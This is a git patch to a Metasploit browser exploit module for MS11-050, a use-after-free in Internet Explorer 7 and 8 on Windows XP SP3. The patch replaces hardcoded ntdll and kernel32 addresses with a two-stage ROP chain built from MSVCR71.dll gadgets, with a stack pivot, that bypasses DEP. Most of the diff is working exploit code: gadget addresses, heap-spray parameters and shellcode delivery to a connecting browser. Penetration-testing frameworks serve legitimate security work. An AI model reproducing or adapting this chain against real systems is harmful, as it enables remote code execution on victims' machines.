From 105894841952595c762db614dd59ed0d75bf5372 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 6 Jul 2011 07:22:24 +0000 Subject: [PATCH] Updated ROP, no more hardcoded ntdll addresses git-svn-id: file:///home/svn/framework3/trunk@13106 4d416f70-5f16-0410-b530-b9f4589650da --- .../browser/ms11_050_mshtml_cobjectelement.rb | 161 +++++++++--------- 1 file changed, 80 insertions(+), 81 deletions(-) diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb index 20e201077b..2c2fa58b6d 100644 --- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb +++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb @@ -30,17 +30,22 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free", 'Description' => %q{ This module exploits a use-after-free vulnerability in Internet Explorer. The - vulnerability occurs when an invalid tag exists and other elements overlap/cover - where the object tag should be when rendered (due to their styles/positioning). The - mshtml!CObjectElement is then freed from memory because it is invalid. However, the - mshtml!CDisplay object for the page continues to keep a reference to the freed and - attempts to call a function on it, leading to the use-after-free. + vulnerability occurs when an invalid tag exists and other elements + overlap/cover where the object tag should be when rendered (due to their + styles/positioning). The mshtml!CObjectElement is then freed from memory because + it is invalid. However, the mshtml!CDisplay object for the page continues to keep + a reference to the freed and attempts to call a function on it, leading + to the use-after-free. + + Please note that for IE 8 targets, JRE (Java Runtime Environment) is required to + bypass DEP. }, 'License' => MSF_LICENSE, 'Version' => "$Revision$", 'Author' => [ 'd0c_s4vage', + 'sinn3r', #ROP (thx corelanc0d3r) ], 'References' => [ @@ -64,7 +69,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', { } ], - # In IE6 the mshtml!CObjectElement size is 0xac [ 'Win XP SP3 Internet Explorer 7', # 7.0.5730.13 @@ -74,12 +78,11 @@ class Metasploit3 < Msf::Exploit::Remote 'FakeObjCount' => 0x4000, 'FakeObjCountKeep' => 0x2000, 'ForLoopNumObjects' => 3, - 'FreedObjOverwritePointer'=>0x0c0c0c0c, - 'FreedObjOffsetAlignSize'=>0, + 'FreedObjOverwritePointer' => 0x0c0c0c0c, + 'FreedObjOffsetAlignSize' => 0, 'ROP' => false, } ], - [ 'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702 { @@ -88,27 +91,25 @@ class Metasploit3 < Msf::Exploit::Remote 'FakeObjCount' => 0x8000, 'FakeObjCountKeep' => 0x3000, 'ForLoopNumObjects' => 5, - 'FreedObjOverwritePointer'=>0x0c0c0c0c, - 'FreedObjOffsetAlignSize'=>0, + 'FreedObjOverwritePointer' => 0x0c0c0c0c, + 'FreedObjOffsetAlignSize' => 0, 'ROP' => false, } ], - [ - 'Win XP SP3 Internet Explorer 8', + #This target requires MSVCR71.dll (JRE 1.6) + 'Win XP SP3 Internet Explorer 8 (DEP)', { 'FreedObjSize' => 0xe0, # 0xdc rounded up 'FakeObjCount' => 0x8000, 'FakeObjCountKeep' => 0x3000, 'ForLoopNumObjects' => 5, - 'FreedObjOverwritePointer'=>0x0c0c0c0c, - 'FreedObjOffsetAlignSize'=>2, - #'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll - 'StackPivot' => 0x7E45F257, #xchg eax,esp - USER32.dll + 'FreedObjOverwritePointer' => 0x0c0c0c0c, + 'FreedObjOffsetAlignSize' => 2, + 'StackPivot' => 0x7C348B05, #xchg eax,esp - MSVCR71.dll 'ROP' => true, } ], - [ 'Debug Target (Crash)', {} ], @@ -130,40 +131,6 @@ class Metasploit3 < Msf::Exploit::Remote mytarget end - - # 3/22/2011 - # fully patched x32 WinXP SP3, IE 8.0.6001.18702 - def winxp_sp3_rva - { - #"kernel32!VirtualAlloc" => 0x7c809af1, - "kernel32!VirtualAlloc" => 0x7c809ae1, - "ntdll!memcpy" => 0x7c901db3, - } - end - - def compile_rop(rop_stack) - rva = winxp_sp3_rva() - num_random = 0 - rop_stack.map do |rop_val| - case rop_val - when String - if rop_val == "random" - # useful for debugging - # num_random += 1 - # 0xaabbcc00 + num_random - rand(0xffffffff) - else - raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val] - rva[rop_val] - end - when Integer - rop_val - else - raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}" - end - end.pack("V*") - end - def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' @@ -177,7 +144,7 @@ class Metasploit3 < Msf::Exploit::Remote @debug = true if mytarget == targets[4] return if ((p = regenerate_payload(cli)) == nil) - + id_name = rand_text_alpha(5) dir_name = rand_text_alpha(3) @@ -200,7 +167,49 @@ class Metasploit3 < Msf::Exploit::Remote return end - raw_shellcode = payload.encoded + if @mytarget['ROP'] + nop = 0x7c348b06 + + #mona.py tekniq + #https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ + rop_stage2 = [ + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x7c37a140, # Make EAX readable + 0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll) + nop, # EBP + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x7c37a140, # <- VirtualProtect() found in IAT + 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll) + 0x7c346c0b, # Slide, so next gadget would write to correct stack location + 0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll) + nop, # EDI (filler) + nop, # will be patched at runtime (VP), then picked up into ESI + nop, # EBX (filler) + 0x7c376402, # POP EBP # RETN (msvcr71.dll) + 0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll) + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0xfffff82f, # size 20001 bytes + 0x7c351e05, # NEG EAX # RETN (MSVCR71.dll) + 0x7c354901, # POP EBX # RETN (MSVCR71.dll) + 0xffffffff, # pop value into ebx + 0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll) + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll) + 0x7c34d201, # POP ECX # RETN (MSVCR71.dll) + 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) + 0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll) + 0x7c34b8d8, # ROP NOP (-> edi) + 0x7c344f87, # POP EDX # RETN (MSVCR71.dll) + 0xffffffc0, # value to negate, target value : 0x00000040, target: edx + 0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll) + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x90909090, # NOPS (-> eax) + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll) + ].pack('V*') + else + rop_stage2 = '' + end + + raw_shellcode = rop_stage2 + payload.encoded shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch)) spray = nil @@ -209,37 +218,27 @@ class Metasploit3 < Msf::Exploit::Remote obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V") if @mytarget['ROP'] - rop_stack = [] - 0x1f.times do |i| - rop_stack << "random" - end - idx = -1 - idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc" # 1: - idx += 1 ; rop_stack[idx] = "ntdll!memcpy" # 2:ret 10 to this after VirtualAlloc - idx += 1 ; rop_stack[idx] = 0x7f000000 # 1:VirtualAlloc:lpAddress - idx += 1 ; rop_stack[idx] = 0x4000 # 1:VirtualAlloc:dwSize - idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000) # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE - idx += 1 ; rop_stack[idx] = 0x40 # 1:VirtualAlloc:flProtect rwx - idx += 1 ; rop_stack[idx] = 0x7f001000 # 3:into this after memcpy - idx += 1 ; rop_stack[idx] = 0x7f001000 # 2:memcpy:dst - idx += 1 ; rop_stack[idx] = 0x23000100 # 2:memcpy:src - idx += 1 ; rop_stack[idx] = 0x2fff # 2:memcpy:size + rop_stage1 = [ + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x23000ddc, + 0x7C348B05, # XCHG EAX,ESP # RETN (MSVCR71.dll) + ] - # align the rest of it - back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length) - rop_stack = back + rop_stack + junk = rand_text(4).unpack("L")[0].to_i - rop_stack << @mytarget['StackPivot'] + padding1 = [junk]*3 + padding2 = [junk]*25 + rop_stage1 = padding1 + rop_stage1 + padding2 - # align the stack for 0c0c0c0c - front = rop_stack.slice!(0, 19) - rop_stack = rop_stack + front + rop_stage1 << @mytarget['StackPivot'] - # resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc) - rop = compile_rop(rop_stack) + front = rop_stage1.slice!(0, 19) + rop_stage1 = rop_stage1 + front - nops = make_nops(0x1000 - raw_shellcode.length) + rop_stage1 = rop_stage1.pack('V*') + + nops = rand_text_alpha(0x1000 - (0x800 - rop_stage2.length - raw_shellcode.length)) nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch)) #spray up to 0x23000000 @@ -253,7 +252,7 @@ class Metasploit3 < Msf::Exploit::Remote for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); } JS - spray = rop + spray = rop_stage1 shellcode = "" else spray = obj_overwrite_ptr @@ -307,7 +306,7 @@ class Metasploit3 < Msf::Exploit::Remote HTML - print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") + print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport} (#{mytarget.name})...") send_response(cli, html, {'Content-Type'=>'text/html'}) end